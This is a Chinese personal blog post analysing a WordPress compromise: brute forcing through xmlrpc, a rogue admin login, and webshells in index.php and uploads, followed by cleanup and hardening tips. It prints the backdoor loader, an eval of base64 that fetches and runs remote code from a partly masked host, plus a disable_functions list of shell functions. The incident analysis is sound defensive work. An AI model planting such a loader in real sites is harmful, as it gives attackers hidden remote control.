55.png

引言

5月7日下午，一个朋友突然来找我，说网站突然打不开了，首页直接显示404。

一开始我还以为是WordPress插件或者伪静态出了问题，但奇怪的是——后台居然还能正常登录。

这种情况其实不太像普通故障。

因为如果真的是WordPress程序崩了，后台一般也会一起出问题。于是我第一时间去检查了网站入口文件。

结果这一查，发现事情没那么简单。

首页404背后，藏着一个WebShell

朋友的网站部署在1Panel面板上，运行环境是Docker。

进入网站目录后，我先看了下根目录的 index.php，结果马上发现了异常：

<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4i...")); ?>

正常的WordPress入口文件根本不会出现这种东西。

看到 eval + base64_decode 这种组合，基本已经可以确定是后门了。

后面解码分析后发现，这个文件本身并不直接包含完整恶意代码，而是会再去远程服务器拉取真正的Payload，然后动态执行。

核心逻辑大概是这样：

eval(
    urldecode("%3f%3e") .
    file_get_contents("https://ww.aci*****.top/jc/zj3154_10592_ww-yd1_fgsa.txt")
);

简单来说：

  • 本地只放一个很小的“加载器”
  • 真正恶意代码放在远程服务器
  • 每次访问时动态下载执行

这种方式比传统一句话木马更隐蔽，也更难通过文件特征直接检测出来。

接下来，开始排查攻击来源

确认网站被植入后门后，我开始翻日志。

这一查，发现网站其实已经被盯上很久了。

服务器是今年2月份部署的，但从上线没多久开始，就一直有人在扫：

  • sitemap.xml
  • xmlrpc.php
  • wp-login.php

其中 xmlrpc.php 和 wp-login.php 的请求量非常夸张。

尤其是 xmlrpc，日志里能看到大量典型的爆破请求。

粗略统计了一下：

请求类型数量
xmlrpc.php 请求20万+
wp-login.php 请求6万+

而且这些请求并不是某一天突然出现，而是持续了两个多月。

说实话，一开始我甚至还怀疑是不是普通SEO爬虫或者商业扫描器，因为很多WordPress站都会被扫。

但后面继续查登录日志时，就开始不对劲了。

后台真的被登录过

日志里能看到一个名为 Lip 的管理员账户存在异常登录记录。

登录IP是：

47.236.28.43

后面我去查了下，这个IP在一些威胁情报平台上已经有恶意活动记录。

虽然没办法100%证明对方一定是通过爆破拿到密码，但结合前面长期存在的大量登录尝试，以及后续WebShell植入时间线，基本可以判断：

这个后台大概率已经被撞开了。

uploads目录里，还有第二个后门

事情到这里其实还没结束。

继续排查 wp-content/uploads 时，我又发现了另一个PHP文件。

正常情况下，uploads目录本来就不应该出现可执行PHP。

后面确认，这也是个WebShell，而且功能明显比 index.php 里的加载器更完整。

包括：

  • 文件管理
  • 命令执行
  • 数据库操作

基本已经属于完整控制后门了。

也就是说：

攻击者不仅改了首页入口，还给自己留了长期访问通道。

关于流量异常，差点把我也带偏了

这里还有个比较有意思的细节。

最开始朋友说服务器流量异常，我打开1Panel一看，也被吓了一跳：

发送流量居然好几个TB。

第一反应确实以为服务器已经变成肉鸡了。

但后面仔细看才发现，1Panel默认统计里包含了Docker内部虚拟网卡流量。

真正看eth0外网网卡后，其实外发流量并没有想象中那么离谱。

后来核对发现：

大部分流量其实是网站每天自动备份到腾讯云COS产生的。

当然，因为已经发现WebShell，所以也不能完全排除存在异常数据外发的可能，只是从目前日志和流量分析来看，没有发现特别明显的异常上传行为。

后面做的处理

确认被入侵后，先把站点做了应急处理：

  • 恢复被篡改的 index.php
  • 删除 uploads 目录中的恶意PHP文件
  • 删除异常管理员账户
  • 清理全部登录Session
  • 封禁异常IP
  • 禁用 xmlrpc.php

另外还顺手做了几个安全加固。

比如：

1. 禁止 uploads 目录执行PHP

这个其实很多WordPress站都没做。

我后来在 uploads 目录加了 .htaccess：

<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

这样即使后面再有人上传PHP文件，也没法直接执行。

2. 禁用部分危险函数

在 php.ini 里禁用了：

disable_functions = exec,passthru,shell_exec,system,proc_open,popen

不过这里也提醒一下：

不要一股脑全禁。

像 curl_exec 这种函数，很多WordPress插件本身就依赖，乱禁可能直接把网站搞出问题。

3. 关闭 xmlrpc.php

现在很多WordPress爆破其实还是走xmlrpc。

如果你不用Jetpack这类依赖xmlrpc的插件，建议直接关掉。

这次最大的感受

这次其实也挺让我感慨的。

很多人总觉得：

“我这小网站谁会打？”

但现实是，互联网上的大量扫描和爆破其实都是自动化的。

它们根本不关心你网站大不大，也不关心你有没有数据价值。

只要你：

  • 暴露着WordPress后台
  • 没有限制登录次数
  • 开着xmlrpc
  • 长时间不更新插件

那基本迟早会被扫到。

尤其是现在很多面板一键部署WordPress之后，默认配置其实并没有做太多安全加固。

站能跑，不代表安全。

最后给WordPress站长几个建议

如果你现在也在用WordPress，我个人建议至少做好下面几件事：

  1. 不用xmlrpc的话，直接关掉
  2. 后台一定加登录限制和2FA
  3. 插件和主题别长期不更新
  4. uploads目录禁止执行PHP
  5. 定期备份
  6. 偶尔看看登录日志和异常流量

很多入侵其实并不是0day漏洞，而是最基础的安全问题长期没人处理。

结尾

这次如果不是首页404，我朋友估计都还不知道网站已经被植入后门了。

有时候最危险的不是“被攻击”，而是：

服务器已经被控制了很久，但你完全没发现。

现在回头看，其实很多异常早就已经出现了，只是当时没太往安全方向想。

以后估计我也得把WordPress安全巡检加入日常运维流程了。

版权属于：赵三月

本文链接：https://blog.5625.cn/index.php/archives/55/

转载时须注明出处及本声明

标签: none

添加新评论